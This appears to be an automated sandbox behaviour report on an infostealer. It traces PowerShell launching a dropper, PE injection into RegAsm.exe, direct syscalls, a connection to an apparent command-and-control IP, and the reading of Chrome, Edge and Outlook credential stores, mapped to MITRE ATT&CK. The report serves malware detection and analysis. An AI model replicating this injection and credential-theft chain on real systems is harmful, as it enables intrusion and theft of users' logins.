Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B257C0 mov eax, dword ptr fs:[00000030h]	5_2_02B257C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B257C0 mov eax, dword ptr fs:[00000030h]	5_2_02B257C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA07C3 mov eax, dword ptr fs:[00000030h]	5_2_02BA07C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B19730 mov eax, dword ptr fs:[00000030h]	5_2_02B19730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B19730 mov eax, dword ptr fs:[00000030h]	5_2_02B19730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B55734 mov eax, dword ptr fs:[00000030h]	5_2_02B55734
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BFB73C mov eax, dword ptr fs:[00000030h]	5_2_02BFB73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BFB73C mov eax, dword ptr fs:[00000030h]	5_2_02BFB73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BFB73C mov eax, dword ptr fs:[00000030h]	5_2_02BFB73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BFB73C mov eax, dword ptr fs:[00000030h]	5_2_02BFB73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2973A mov eax, dword ptr fs:[00000030h]	5_2_02B2973A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2973A mov eax, dword ptr fs:[00000030h]	5_2_02B2973A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5273C mov eax, dword ptr fs:[00000030h]	5_2_02B5273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5273C mov ecx, dword ptr fs:[00000030h]	5_2_02B5273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5273C mov eax, dword ptr fs:[00000030h]	5_2_02B5273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B9C730 mov eax, dword ptr fs:[00000030h]	5_2_02B9C730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B23720 mov eax, dword ptr fs:[00000030h]	5_2_02B23720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3F720 mov eax, dword ptr fs:[00000030h]	5_2_02B3F720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3F720 mov eax, dword ptr fs:[00000030h]	5_2_02B3F720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3F720 mov eax, dword ptr fs:[00000030h]	5_2_02B3F720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BDF72E mov eax, dword ptr fs:[00000030h]	5_2_02BDF72E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5C720 mov eax, dword ptr fs:[00000030h]	5_2_02B5C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5C720 mov eax, dword ptr fs:[00000030h]	5_2_02B5C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE972B mov eax, dword ptr fs:[00000030h]	5_2_02BE972B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B20710 mov eax, dword ptr fs:[00000030h]	5_2_02B20710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B50710 mov eax, dword ptr fs:[00000030h]	5_2_02B50710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5F71F mov eax, dword ptr fs:[00000030h]	5_2_02B5F71F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5F71F mov eax, dword ptr fs:[00000030h]	5_2_02B5F71F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B25702 mov eax, dword ptr fs:[00000030h]	5_2_02B25702
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B25702 mov eax, dword ptr fs:[00000030h]	5_2_02B25702
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B27703 mov eax, dword ptr fs:[00000030h]	5_2_02B27703
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5C700 mov eax, dword ptr fs:[00000030h]	5_2_02B5C700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B28770 mov eax, dword ptr fs:[00000030h]	5_2_02B28770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B30770 mov eax, dword ptr fs:[00000030h]	5_2_02B30770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B30770 mov eax, dword ptr fs:[00000030h]	5_2_02B30770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B30770 mov eax, dword ptr fs:[00000030h]	5_2_02B30770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B30770 mov eax, dword ptr fs:[00000030h]	5_2_02B30770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B30770 mov eax, dword ptr fs:[00000030h]	5_2_02B30770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B30770 mov eax, dword ptr fs:[00000030h]	5_2_02B30770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B30770 mov eax, dword ptr fs:[00000030h]	5_2_02B30770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B30770 mov eax, dword ptr fs:[00000030h]	5_2_02B30770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B30770 mov eax, dword ptr fs:[00000030h]	5_2_02B30770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B30770 mov eax, dword ptr fs:[00000030h]	5_2_02B30770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B30770 mov eax, dword ptr fs:[00000030h]	5_2_02B30770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B30770 mov eax, dword ptr fs:[00000030h]	5_2_02B30770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1B765 mov eax, dword ptr fs:[00000030h]	5_2_02B1B765

Source: C:\Users\user\AppData\Local\Temp\x.exe

Memory allocated: page read and write | page guard

System process connects to network (likely due to code injection or exploit)

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\wscript.exe

Network Connect: 196.251.92.64 80

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\x.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\x.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: NULL target: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Section loaded: NULL target: C:\Windows\SysWOW64\MRINFO.EXE protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: NULL target: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: NULL target: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\MRINFO.EXE

Thread register set: target process: 3568

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\MRINFO.EXE

Thread APC queued: target process: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: BDF008	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\dddddd.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Process created: C:\Windows\SysWOW64\MRINFO.EXE "C:\Windows\SysWOW64\MRINFO.EXE"	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: sxkv2RIDKUVCF4X010eCnC.exe, 00000009.00000002.2989293069.0000000000FC0000.00000002.00000001.00040000.00000000.sdmp, sxkv2RIDKUVCF4X010eCnC.exe, 00000009.00000000.2028710594.0000000000FC0000.00000002.00000001.00040000.00000000.sdmp, sxkv2RIDKUVCF4X010eCnC.exe, 0000000B.00000002.2989759441.0000000001340000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: sxkv2RIDKUVCF4X010eCnC.exe, 00000009.00000002.2989293069.0000000000FC0000.00000002.00000001.00040000.00000000.sdmp, sxkv2RIDKUVCF4X010eCnC.exe, 00000009.00000000.2028710594.0000000000FC0000.00000002.00000001.00040000.00000000.sdmp, sxkv2RIDKUVCF4X010eCnC.exe, 0000000B.00000002.2989759441.0000000001340000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: sxkv2RIDKUVCF4X010eCnC.exe, 00000009.00000002.2989293069.0000000000FC0000.00000002.00000001.00040000.00000000.sdmp, sxkv2RIDKUVCF4X010eCnC.exe, 00000009.00000000.2028710594.0000000000FC0000.00000002.00000001.00040000.00000000.sdmp, sxkv2RIDKUVCF4X010eCnC.exe, 0000000B.00000002.2989759441.0000000001340000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: sxkv2RIDKUVCF4X010eCnC.exe, 00000009.00000002.2989293069.0000000000FC0000.00000002.00000001.00040000.00000000.sdmp, sxkv2RIDKUVCF4X010eCnC.exe, 00000009.00000000.2028710594.0000000000FC0000.00000002.00000001.00040000.00000000.sdmp, sxkv2RIDKUVCF4X010eCnC.exe, 0000000B.00000002.2989759441.0000000001340000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\x.exe VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2989939402.0000000003060000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2992102247.0000000005150000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2104088509.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2989897397.0000000003500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2106523345.0000000002A10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2989992903.0000000003550000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2987628096.0000000003050000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2110867358.0000000003840000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\MRINFO.EXE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\MRINFO.EXE

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2989939402.0000000003060000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2992102247.0000000005150000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2104088509.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2989897397.0000000003500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2106523345.0000000002A10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2989992903.0000000003550000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2987628096.0000000003050000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2110867358.0000000003840000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	52 Scripting	Valid Accounts	1 Exploitation for Client Execution	52 Scripting	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	113 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	712 Process Injection	1 Abuse Elevation Control Mechanism	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	5 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	41 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
